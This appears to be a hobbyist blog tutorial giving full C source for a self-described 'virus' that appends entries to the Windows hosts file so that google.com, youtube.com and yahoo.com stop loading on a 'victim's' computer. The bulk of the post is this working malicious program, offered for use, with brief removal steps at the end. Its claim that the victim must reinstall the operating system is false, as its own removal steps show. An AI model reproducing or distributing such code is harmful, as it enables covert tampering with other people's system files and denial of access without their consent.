Make a Virus Program to Block any site in 'C'

Many of my friends are familiar with the virus used to block sites like orkut,google etc. these virus are created and now friends in my this post i am going to explain how you can block sites using any such type of 'c' program when it is clicked by the user or victim then he will not be able to open/access those sites (which are mentioned in the program) unless he/she will reinstall the operating system. This is a simple program in one of the my favorite language and need a little 'C' understanding to understand this program. 

I thing you friends will like this.

Here we go:

#include

#include

#include

char site_list[6][30]={

“google.com”,

“www.google.com”,

“youtube.com”,

“www.youtube.com”,

“yahoo.com”,

“www.yahoo.com”

};

char ip[12]=”127.0.0.1″;

FILE *target;

int find_root(void);

void block_site(void);

int find_root()

{

int done;

struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}

else return 0;

}

void block_site()

{

int i;

fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);

for(i=0;i<6;i++)

fprintf(target,”%s\t%s\n”,ip,site_list[i]);

fclose(target);

}

void main()

{

int success=0;

success=find_root();

if(success)

block_site();

}

Compile this program and to test this program just follow the following steps:

1. To test this program once you have run block.exe. restart your browser and ten enter one of the site name you have specified in the program and then the message on your will be "The Page Cannot be displayed"

2. To remove the virus 

type the following the Run. 

%windir%\system32\drivers\etc

3.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com 

4. Delete the entire content of the blocked sites.